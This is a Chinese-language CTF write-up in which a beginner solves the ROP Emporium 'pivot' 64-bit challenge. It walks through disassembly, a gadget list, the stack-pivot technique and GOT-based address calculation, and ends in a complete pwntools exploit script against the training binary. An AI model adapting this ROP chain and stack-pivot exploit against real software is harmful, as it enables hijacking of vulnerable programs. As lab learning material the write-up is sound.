+================+
| 加深对ROP的理解 |
+================+
一个pwn新手的笔记
1.基本信息
1.1文件相关
arch x86
baddr 0x400000
binsz 11395
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath ./
sanitiz false
static false
stripped false
subsys linux
va true
关键的地方说几点吧:
arch x86
bintype elf
bits 64
nx true
os linux
relocs true
又是NX保护,但是开启了地址随机化,这个就需要泄露函数地址
1.2运行:
root@MSI:/mnt/c/Disk E/CTF/Question/rop_emporium_all_challenges/07_pivot# ./pivot
pivot by ROP Emporium
64bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f84d380ff10
Send your second chain now and it will land there
> a
Now kindly send your stack smash
> aaaa
Exiting
2.代码分析:
2.1 函数:
[0x004008a0]> afl
0x004008a0 1 41 entry0
0x00400830 1 6 sym.imp.__libc_start_main
0x004007b8 3 26 sym._init
0x00400b84 1 9 sym._fini
0x004008d0 4 50 -> 41 sym.deregister_tm_clones
0x00400910 4 58 -> 55 sym.register_tm_clones
0x00400950 3 28 entry.fini0
0x00400970 4 38 -> 35 entry.init0
0x00400a3b 1 167 sym.pwnme
0x00400820 1 6 sym.imp.memset
0x00400800 1 6 sym.imp.puts
0x00400810 1 6 sym.imp.printf
0x00400840 1 6 sym.imp.fgets
0x00400ae2 1 24 sym.uselessFunction
0x00400850 1 6 sym.imp.foothold_function
0x00400880 1 6 sym.imp.exit
0x00400b80 1 2 sym.__libc_csu_fini
0x00400b10 4 101 sym.__libc_csu_init
0x00400996 1 165 main
0x00400870 1 6 sym.imp.setvbuf
0x00400860 1 6 sym.imp.malloc
0x004007f0 1 6 sym.imp.free
- main:
[0x004008a0]> pdf @main
; DATA XREF from entry0 @ 0x4008bd
┌ 165: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_10h @ rbp-0x10
│ ; var void *ptr @ rbp-0x8
│ 0x00400996 55 push rbp
│ 0x00400997 4889e5 mov rbp, rsp
│ 0x0040099a 4883ec10 sub rsp, 0x10
│ 0x0040099e 488b05db1620. mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
│ ; [0x602080:8]=0
│ 0x004009a5 b900000000 mov ecx, 0 ; size_t size
│ 0x004009aa ba02000000 mov edx, 2 ; int mode
│ 0x004009af be00000000 mov esi, 0 ; char *buf
│ 0x004009b4 4889c7 mov rdi, rax ; FILE*stream
│ 0x004009b7 e8b4feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x004009bc 488b05dd1620. mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ; [0x6020a0:8]=0
│ 0x004009c3 b900000000 mov ecx, 0 ; size_t size
│ 0x004009c8 ba02000000 mov edx, 2 ; int mode
│ 0x004009cd be00000000 mov esi, 0 ; char *buf
│ 0x004009d2 4889c7 mov rdi, rax ; FILE*stream
│ 0x004009d5 e896feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x004009da bf980b4000 mov edi, str.pivot_by_ROP_Emporium ; 0x400b98 ; "pivot by ROP Emporium" ; const char *s
│ 0x004009df e81cfeffff call sym.imp.puts ; int puts(const char *s)
│ 0x004009e4 bfae0b4000 mov edi, str.64bits ; 0x400bae ; "64bits\n" ; const char *s
│ 0x004009e9 e812feffff call sym.imp.puts ; int puts(const char *s)
│ 0x004009ee bf00000001 mov edi, 0x1000000 ; size_t size
│ 0x004009f3 e868feffff call sym.imp.malloc ; void *malloc(size_t size)
│ 0x004009f8 488945f8 mov qword [ptr], rax
│ 0x004009fc 488b45f8 mov rax, qword [ptr]
│ 0x00400a00 480500ffff00 add rax, 0xffff00
│ 0x00400a06 488945f0 mov qword [var_10h], rax
│ 0x00400a0a 488b45f0 mov rax, qword [var_10h]
│ 0x00400a0e 4889c7 mov rdi, rax
│ 0x00400a11 e825000000 call sym.pwnme
│ 0x00400a16 48c745f00000. mov qword [var_10h], 0
│ 0x00400a1e 488b45f8 mov rax, qword [ptr]
│ 0x00400a22 4889c7 mov rdi, rax ; void *ptr
│ 0x00400a25 e8c6fdffff call sym.imp.free ; void free(void *ptr)
│ 0x00400a2a bfb60b4000 mov edi, str.Exiting ; 0x400bb6 ; "\nExiting" ; const char *s
│ 0x00400a2f e8ccfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400a34 b800000000 mov eax, 0
│ 0x00400a39 c9 leave
└ 0x00400a3a c3 ret
实在看不懂也可以用IDA:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *ptr; // ST08_8
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("pivot by ROP Emporium");
puts("64bits\n");
ptr = (char *)malloc(0x1000000uLL);
pwnme(ptr + 16776960, 0LL);
free(ptr);
puts("\nExiting");
return 0;
}
就是pwnme整个函数的栈是在ptr(malloc分配的堆)+16776960上面运行的
- pwnme:
[0x004008a0]> pdf @sym.pwnme
; CALL XREF from main @ 0x400a11
┌ 167: sym.pwnme (char *arg1);
│ ; var char *var_28h @ rbp-0x28
│ ; var char *s @ rbp-0x20
│ ; arg char *arg1 @ rdi
│ 0x00400a3b 55 push rbp
│ 0x00400a3c 4889e5 mov rbp, rsp
│ 0x00400a3f 4883ec30 sub rsp, 0x30
│ 0x00400a43 48897dd8 mov qword [var_28h], rdi ; arg1
│ 0x00400a47 488d45e0 lea rax, [s]
│ 0x00400a4b ba20000000 mov edx, 0x20 ; 32 ; size_t n
│ 0x00400a50 be00000000 mov esi, 0 ; int c
│ 0x00400a55 4889c7 mov rdi, rax ; void *s
│ 0x00400a58 e8c3fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00400a5d bfc00b4000 mov edi, str.Call_ret2win___from_libpivot.so ; 0x400bc0 ; "Call ret2win() from libpivot.so" ; const char *s
│ 0x00400a62 e899fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400a67 488b45d8 mov rax, qword [var_28h]
│ 0x00400a6b 4889c6 mov rsi, rax
│ 0x00400a6e bfe00b4000 mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p ; 0x400be0 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n" ; const char *format
│ 0x00400a73 b800000000 mov eax, 0
│ 0x00400a78 e893fdffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400a7d bf200c4000 mov edi, str.Send_your_second_chain_now_and_it_will_land_there ; 0x400c20 ; "Send your second chain now and it will land there" ; const char *s
│ 0x00400a82 e879fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400a87 bf520c4000 mov edi, 0x400c52 ; const char *format
│ 0x00400a8c b800000000 mov eax, 0
│ 0x00400a91 e87afdffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400a96 488b15f31520. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x602090:8]=0 ; FILE *stream
│ 0x00400a9d 488b45d8 mov rax, qword [var_28h]
│ 0x00400aa1 be00010000 mov esi, 0x100 ; 256 ; int size
│ 0x00400aa6 4889c7 mov rdi, rax ; char *s
│ 0x00400aa9 e892fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x00400aae bf580c4000 mov edi, str.Now_kindly_send_your_stack_smash ; 0x400c58 ; "Now kindly send your stack smash" ; const char *s
│ 0x00400ab3 e848fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400ab8 bf520c4000 mov edi, 0x400c52 ; const char *format
│ 0x00400abd b800000000 mov eax, 0
│ 0x00400ac2 e849fdffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400ac7 488b15c21520. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x602090:8]=0 ; FILE *stream
│ 0x00400ace 488d45e0 lea rax, [s]
│ 0x00400ad2 be40000000 mov esi, 0x40 ; '@' ; 64 ; int size
│ 0x00400ad7 4889c7 mov rdi, rax ; char *s
│ 0x00400ada e861fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x00400adf 90 nop
│ 0x00400ae0 c9 leave
└ 0x00400ae1 c3 ret
IDA:
char *__fastcall pwnme(char *a1)
{
char s; // [rsp+10h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Call ret2win() from libpivot.so");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
puts("Send your second chain now and it will land there");
printf("> ");
fgets(a1, 256, stdin);
puts("Now kindly send your stack smash");
printf("> ", 256LL);
return fgets(&s, 64, stdin);
}
因为开启了随机化地址(ASLR),本来是要想办法找到a1的地址,但是这里降低了难度,直接给我们打印出来了。而且第一个fgets写入的地址是直接写入到a1这个空间上。
还有一点就是fgets的溢出漏洞。
- uselessFunction:
[0x004008a0]> pdf @sym.uselessFunction
┌ 24: sym.uselessFunction ();
│ 0x00400ae2 55 push rbp
│ 0x00400ae3 4889e5 mov rbp, rsp
│ 0x00400ae6 b800000000 mov eax, 0
│ 0x00400aeb e860fdffff call sym.imp.foothold_function
│ 0x00400af0 bf01000000 mov edi, 1 ; int status
└ 0x00400af5 e886fdffff call sym.imp.exit ; void exit(int status)
IDA
void __noreturn uselessFunction()
{
foothold_function();
exit(1);
}
调用了foothold_function这个函数,但是并不useless!
- foothold_function:
[0x004008a0]> pdf @sym.imp.foothold_function
; CALL XREF from sym.uselessFunction @ 0x400aeb
┌ 6: sym.imp.foothold_function ();
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ rg: 0 (vars 0, args 0)
└ 0x00400850 ff25f2172000 jmp qword [reloc.foothold_function] ; [0x602048:8]=0x400856 ; "V\b@"
说明了这里引用了外面的一个库,由经验决定这个是携带的库文件:libpivot.so
2.2 lippivot.so
2.2.1直接上r2:
[0x00000870]> afl
0x00000870 4 50 -> 44 entry0
0x00000970 1 24 sym.foothold_function
0x00000840 1 6 sym.imp.printf
0x00000ad8 1 9 sym._fini
0x000007f8 3 26 sym._init
0x00000850 1 6 sym.imp.exit
0x00000830 1 6 sym.imp.system
0x000008b0 4 66 -> 57 sym.register_tm_clones
0x00000900 5 50 entry.fini0
0x00000940 4 48 -> 42 entry.init0
0x00000000 3 124 -> 109 loc.imp._ITM_deregisterTMCloneTable
0x00000988 1 31 sym.void_function_01
0x000009a7 1 31 sym.void_function_02
0x000009c6 1 31 sym.void_function_03
0x000009e5 1 31 sym.void_function_04
0x00000a04 1 31 sym.void_function_05
0x00000a23 1 31 sym.void_function_06
0x00000a42 1 31 sym.void_function_07
0x00000a61 1 31 sym.void_function_08
0x00000a80 1 31 sym.void_function_09
0x00000a9f 1 31 sym.void_function_10
0x00000abe 1 26 sym.ret2win
发现了ret2win,foothold_function
2.2.2 foothold_function:
[0x00000870]> pdf @sym.foothold_function
┌ 24: sym.foothold_function ();
│ 0x00000970 55 push rbp
│ 0x00000971 4889e5 mov rbp, rsp
│ 0x00000974 488d3d6d0100. lea rdi, str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so ; sym..rodata
│ ; 0xae8 ; "foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so" ; const char *format
│ 0x0000097b b800000000 mov eax, 0
│ 0x00000980 e8bbfeffff call sym.imp.printf ; int printf(const char *format)
│ 0x00000985 90 nop
│ 0x00000986 5d pop rbp
└ 0x00000987 c3 ret
IDA:
int foothold_function()
{
return printf("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so");
}
这个函数并没有什么用,只是提醒了我们该用什么方法
2.2.3 ret2win:
[0x00000870]> pdf @sym.ret2win
┌ 26: sym.ret2win ();
│ 0x00000abe 55 push rbp
│ 0x00000abf 4889e5 mov rbp, rsp
│ 0x00000ac2 488d3d880000. lea rdi, str.bin_cat_flag.txt ; 0xb51 ; "/bin/cat flag.txt" ; const char *string
│ 0x00000ac9 e862fdffff call sym.imp.system ; int system(const char *string)
│ 0x00000ace bf00000000 mov edi, 0 ; int status
└ 0x00000ad3 e878fdffff call sym.imp.exit ; void exit(int status)
IDA:
void __noreturn ret2win()
{
system("/bin/cat flag.txt");
exit(0);
}
发现了留下来的后门程序
2.2.4 利用libc
由于开启了地址随机化,我们不能直接按地址调用库里面的函数,但是如果知道了一个函数的地址,用之前计算好的偏移,就可以知道这个函数的相对地址。
这种方法有点类似于天文学家关于未知行星的研究,从一个相对的地方来推导,可以理解为科学的一种思维
就是泄露ret2win需要一个got地址,可以在 这里了解got和plt,其实之前的ROP Emporium-新手学习-callme(64)里面也涉及了,总之就是调用了plt才会有got,最后才能找到动态链接库的入口,也就是这里foothold函数的真正地址
在r2中实现如下:
[0x004008a0]> ir
[Relocations]
vaddr paddr type name
―――――――――――――――――――――――――――――――――
0x00601ff8 0x00001ff8 SET_64 __gmon_start__
0x00602018 0x00002018 SET_64 free
0x00602020 0x00002020 SET_64 puts
0x00602028 0x00002028 SET_64 printf
0x00602030 0x00002030 SET_64 memset
0x00602038 0x00002038 SET_64 __libc_start_main
0x00602040 0x00002040 SET_64 fgets
0x00602048 0x00002048 SET_64 foothold_function
0x00602050 0x00002050 SET_64 malloc
0x00602058 0x00002058 SET_64 setvbuf
0x00602060 0x00002060 SET_64 exit
0x00602080 0x00602080 SET_64 stdout
0x00602090 0x00602090 SET_64 stdin
0x006020a0 0x006020a0 SET_64 stderr
14 relocations
3.准备工作
3.1思路:
回顾漏洞点函数pwnme:
char *__fastcall pwnme(char *a1)
{
char s; // [rsp+10h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Call ret2win() from libpivot.so");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
puts("Send your second chain now and it will land there");
printf("> ");
fgets(a1, 256, stdin);
puts("Now kindly send your stack smash");
printf("> ", 256LL);
return fgets(&s, 64, stdin);
}
第一个在堆块上随意写,第二个可以用的空间是64-32=32,不够用,所以这里要用一个方法,也是本篇想记录的方法
stack pivot ---栈的迁移
3.1.2 stack pivot,栈的迁移:
- 原理
即通过覆盖调用者的 ebp,将栈帧转 移到另一个地方,同时控制 eip,即可改变程序的执行流
- payload结构:
buffer padding | fake ebp | leave;ret addr |
- 大致过程
这样函数的返回地址就被覆盖为 leave;ret 指令的地址,这样程序在执行完其原本的 leave;ret 后,又执行了一次 leave;ret。
另外 fake ebp 指向我们另一段 payload(这里称为主payload) 的 ebp
- 常用方法
我们知道一个函数的入口点通常是:
push ebp
mov ebp;esp
leave指令相当于:
mov esp,
ebp pop,ebp
ret 指令为相当于:
pop eip
3.1.3 整体思路
第一次写入一部分paylaod,第二次实现栈的转移,大概是:
rbp--->fake rbp
3.2 ROP链的构造
3.2.1 ropper:
root@MSI:/mnt/c/Disk E/CTF/Question/rop_emporium_all_challenges/07_pivot# ropper --file pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x0000000000400b7f: add bl, dh; ret;
0x0000000000400984: add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax; 0x0000000000400b7d: add byte ptr [rax], al; add bl, dh; ret;
0x0000000000400982: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000400b7b: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret;
0x00000000004008fc: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x0000000000400a35: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x0000000000400a36: add byte ptr [rax], al; add cl, cl; ret;
0x00000000004007cb: add byte ptr [rax], al; add rsp, 8; ret;
0x0000000000400af3: add byte ptr [rax], al; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400ad5: add byte ptr [rax], al; mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400afe: add byte ptr [rax], al; pop rax; ret;
0x00000000004008fe: add byte ptr [rax], al; pop rbp; ret;
0x0000000000400b82: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;
0x00000000004008e8: add byte ptr [rax], al; test rax, rax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400936: add byte ptr [rax], al; test rax, rax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400983: add byte ptr [rax], al; test rax, rax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400a37: add byte ptr [rax], al; leave; ret;
0x0000000000400afd: add byte ptr [rax], r8b; pop rax; ret;
0x0000000000400a38: add cl, cl; ret;
0x0000000000400af1: add dword ptr [rax], eax; add byte ptr [rax], al; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400964: add eax, 0x20173e; add ebx, esi; ret;
0x0000000000400b0a: add eax, ebp; ret;
0x0000000000400969: add ebx, esi; ret;
0x00000000004007ce: add esp, 8; ret;
0x0000000000400b09: add rax, rbp; ret;
0x00000000004007cd: add rsp, 8; ret;
0x00000000004008f2: and byte ptr [rax], ah; jmp rax;
0x0000000000400967: and byte ptr [rax], al; add ebx, esi; ret;
0x0000000000400a25: call 0x7f0; mov edi, 0x400bb6; call 0x800; mov eax, 0; leave; ret;
0x0000000000400a2f: call 0x800; mov eax, 0; leave; ret;
0x0000000000400ada: call 0x840; nop; leave; ret;
0x0000000000400aeb: call 0x850; mov edi, 1; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400af5: call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400995: call qword ptr [rbp + 0x48];
0x000000000040098e: call rax;
0x0000000000400ca3: call rsp;
0x0000000000400b5c: fmul qword ptr [rax - 0x7d]; ret;
0x00000000004008ed: je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x000000000040093b: je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400988: je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400d9b: jmp qword ptr [rbp];
0x0000000000400d5b: jmp qword ptr [rdi];
0x0000000000400af9: jmp qword ptr [rsi + 0xf];
0x00000000004008f5: jmp rax;
0x0000000000400961: lcall [rbp - 0x3a]; add eax, 0x20173e; add ebx, esi; ret;
0x0000000000400a34: mov eax, 0; leave; ret;
0x0000000000400b06: mov eax, dword ptr [rax]; ret;
0x000000000040098c: mov ebp, esp; call rax;
0x0000000000400a2a: mov edi, 0x400bb6; call 0x800; mov eax, 0; leave; ret;
0x00000000004008f0: mov edi, 0x602078; jmp rax;
0x0000000000400af0: mov edi, 1; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400ad8: mov edi, eax; call 0x840; nop; leave; ret;
0x0000000000400ad2: mov esi, 0x40; mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400b05: mov rax, qword ptr [rax]; ret;
0x000000000040098b: mov rbp, rsp; call rax;
0x0000000000400ad7: mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400afb: nop dword ptr [rax + rax]; pop rax; ret;
0x00000000004008f8: nop dword ptr [rax + rax]; pop rbp; ret;
0x0000000000400945: nop dword ptr [rax]; pop rbp; ret;
0x0000000000400afa: nop word ptr [rax + rax]; pop rax; ret;
0x00000000004008f7: nop word ptr [rax + rax]; pop rbp; ret;
0x0000000000400a2c: or eax, dword ptr [rax]; call 0x800; mov eax, 0; leave; ret;
0x0000000000400b6c: pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000400b6e: pop r13; pop r14; pop r15; ret;
0x0000000000400b70: pop r14; pop r15; ret;
0x0000000000400b72: pop r15; ret;
0x0000000000400b00: pop rax; ret;
0x00000000004008ef: pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400b6b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000400b6f: pop rbp; pop r14; pop r15; ret;
0x0000000000400900: pop rbp; ret;
0x0000000000400b73: pop rdi; ret;
0x0000000000400b71: pop rsi; pop r15; ret;
0x0000000000400b6d: pop rsp; pop r13; pop r14; pop r15; ret;
0x000000000040098a: push rbp; mov rbp, rsp; call rax;
0x0000000000400aca: ret 0x2015;
0x0000000000400987: sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000400b85: sub esp, 8; add rsp, 8; ret;
0x0000000000400b84: sub rsp, 8; add rsp, 8; ret;
0x00000000004008fa: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x00000000004008eb: test eax, eax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400939: test eax, eax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400986: test eax, eax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x00000000004008ea: test rax, rax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400938: test rax, rax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400985: test rax, rax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400b03: xchg eax, esp; ret;
0x0000000000400b02: xchg rax, rsp; ret;
0x0000000000400989: int1; push rbp; mov rbp, rsp; call rax;
0x0000000000400a39: leave; ret;
0x0000000000400adf: nop; leave; ret;
0x00000000004007c9: ret;
93 gadgets found
3.2.2 合适的rop:
1.第二次输入的ROP:
0x0000000000400b00: pop rax; ret;
0x0000000000400b02: xchg rax, rsp; ret;
大致意思,这里引用ropemporium-pivot/里面的解释
- Firstly let’s use 0x0000000000400b00: pop rax; ret;
- Then we can use the second place to enter the address of the buffer.
- Lastly swap values with 0x0000000000400b02: xchg rax, rsp; ret;
翻译一下吧:
- 首先使用0x0000000000400b00: pop rax; ret; //弹出rax
- 然后输入要迁移到的目的地
- 最后交换二者的值:rax和rsp //修改了rsp的值
2.第一次输入的ROP:
0x0000000000400900: pop rbp; ret;
0x0000000000400b05: mov rax, qword ptr [rax]; ret;
0x000000000040098e: call rax;
0x0000000000400b09: add rax, rbp; ret;
再次引用ropemporium-pivot/里面的解释
- Firstly, let’s call the foothold_function to populate the .got.plt entry.
- After that pop the value of foothold_function’s got entry into the register rax.
- After that, we can move the the value from the address rax into rax.Now in rax we should have the contents of got entry for foothold_function.
- Add the offset to the rax register to get our ret2win function.
- Call it.
3.3大致模拟:
- 接受堆块a1地址
- 先写入后面的paylaod:
1.调用foothold_function@plt
2.弹出rax
3.将foothold_function@got写入rax
4.将rax指向的指针(foothold_functiond@got的地址)传递给rax
5.弹出rbp
6.写入数字(foothold_function和ret2win之差)
7.让rax和rbp相加,并将结果返回给rax
8.调用rax
- 在第二次输入进行stack pivot
4.EXP
from pwn import *
context.log_level = "debug"
p = process("./pivot")
pop_rax_ret = 0x0400b00
xchg_rax_rsp_ret = 0x0400b02
pop_rbp_ret = 0x0400900
mov_rax_prax_ret = 0x0400b05
call_rax = 0x040098e
add_rax_rbp_ret = 0x0400b09
foothold_got = 0x0602048
foothold_plt = 0x0400850
heap_addr = int(p.recvline_contains('The Old Gods kindly bestow upon you a place to pivot:').decode('UTF-8').split(' ')[-1], 16)
payload1 = ""
payload1 += p64(foothold_plt)
payload1 += p64(pop_rax_ret)
payload1 += p64(foothold_got)
payload1 += p64(mov_rax_prax_ret)
payload1 += p64(pop_rbp_ret)
payload1 += p64(0x14e)
payload1 += p64(add_rax_rbp_ret)
payload1 += p64(call_rax)
payload2 = 'a'*40
payload2 += p64(pop_rax_ret)
payload2 += p64(heap_addr)
payload2 += p64(xchg_rax_rsp_ret)
p.recvuntil("Send your second chain now and it will land there")
p.sendline(payload1)
p.recvuntil("Now kindly send your stack smash")
#p.recvuntil("> ")
p.sendline(payload2)
print(p.recvall())
p.interactive()
5.总结
- 学习pwn的话可能很难,但是要靠积累吧,主要是一个持之以恒的东西。
- 这是ROP Emporium 64位的最后一道题了,所以比较多的东西都揉在了一起,还是比较考脑力吧。
- ROP链的构造可能比较考察汇编能力吧,但是gadgets的功能真的是敢说敢做的。